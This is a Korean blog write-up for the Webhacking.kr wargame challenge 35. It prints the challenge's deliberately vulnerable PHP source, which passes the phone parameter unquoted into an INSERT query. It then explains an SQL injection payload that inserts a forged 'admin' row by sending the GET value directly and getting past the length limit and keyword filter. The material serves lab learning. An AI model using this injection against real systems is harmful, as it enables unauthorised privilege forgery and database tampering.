반응형
문제를 열면 요런화면이 뜬다.
view-source를 눌러보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
오류없이 phone값이 입력되었을 경우 Done이 뜨며, 페이지 소스보기 시에 주석처리된 상태로 데이터 적용 현황을 보여준다.
일단 phone입력폼은 11글자로 제한되어있고, php에서 preg_match() 함수로 인해 정규표현식에 따라 phone에 필터링이 적용된다. 동시에 이때 id의 길이가 5자 이하로 제한되며 대소문자 관계없이 admin이 필터링된다.
php내에서 admin을 대소문자 구분없이 필터링하고, 글자수도 필터링하고잇다. 그럼 phone의 정규표현식 필터링을 우회하여 적절하게 구문을 생성해주고, admin을 넣어주면 되겠다. 근데 입력폼이 11자로 제한되어있다.
원래같으면 프록시 툴인 BurpSuite를 사용했을텐데, 너무 귀찮아서.... 어차피 get방식이니 주소창을 통해 직접 값을 넘겨주어 길이제한을 우회했다. (폼 형식을 떠났기에 우회되는것)
내가 공격한 구문은 아래와 같다.
https://webhacking.kr/challenge/web-17/index.php?phone=0),(%27admin%27,%27본인의아이피%27,123&id=guest
그럼 이게 어떻게 되냐면
원래 아래와 같던 구문이였던 것이
insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})"
아래와 같이 두가지 데이터를 넣는 방법으로 변한다.
insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',0),('admin','본인의아이피',123)"
그리고 두번째 데이터로 내가 원하는 값을 넣게된다.
그럼 아래 코드에 따라
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
내 아이피로 된 admin계정에 대한 데이터가 생기므로 문제가 풀리게된다.
반응형
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 37번 (0) | 2020.10.28 |
---|---|
[Webhacking.kr] 36번 (0) | 2020.10.28 |
[Webhacking.kr] 34번 (0) | 2020.10.24 |
[Webhacking.kr] 33번 (0) | 2020.10.17 |
[Webhacking.kr] 32번 (0) | 2020.10.17 |